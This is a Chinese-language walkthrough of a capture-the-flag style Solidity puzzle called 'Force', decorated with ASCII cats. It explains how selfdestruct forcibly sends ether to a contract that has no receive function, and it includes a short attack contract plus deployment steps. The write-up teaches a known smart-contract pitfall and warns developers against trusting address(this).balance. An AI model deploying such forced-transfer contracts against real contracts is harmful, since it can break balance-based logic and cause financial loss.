// SPDX-License-Identifier: MIT
pragma solidity ^0.6.0;
contract Force {/*
MEOW ?
/\_/\ /
____/ o o \
/~____ =ø= /
(______)__m_m)
*/}
只要玩家能轉帳進入合約,使其餘額 > 0 即可通關
selfdestruct(),單看字面意義就能知道它的用途 : 自我毀滅,沒錯,這個指令呢,能夠銷毀合約本身,那麼合約內的錢該怎麼辦?別急別急,語法很貼心的讓你能夠傳入一個參數(address),而這個參數便是合約的餘額該轉往何處,不過卻有一個不講理的地方,那就是他一定會轉帳過去,也就是指,即使合約內並沒有 receive/fallback function,只要使用 selfdestruct,就能完成強制轉帳的動作,如果對方合約有使用 address(this).balance 用做特殊行為的判斷的話,要請記得 selfdestruct 的惡意操作,以免遭受攻擊。
MEOW ?
/\_/\ /
____/ o o \
/~____ =ø= /
(______)__m_m)
*/
誒是貓咪誒
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
contract force {
address payable target;
constructor(address payable addr) {
target = addr;
}
function force_() public {
selfdestruct(target);
}
receive() external payable {}
}
部署程式碼時記得將你的關卡地址填入合約的建構式後在接著部署喔 !
然後轉錢進去嘗試看看暴力轉帳有多不講理吧XD
☚ (<‿<)☚ ☚ (<‿<)☚ ☚ (<‿<)☚ ☚ (<‿<)☚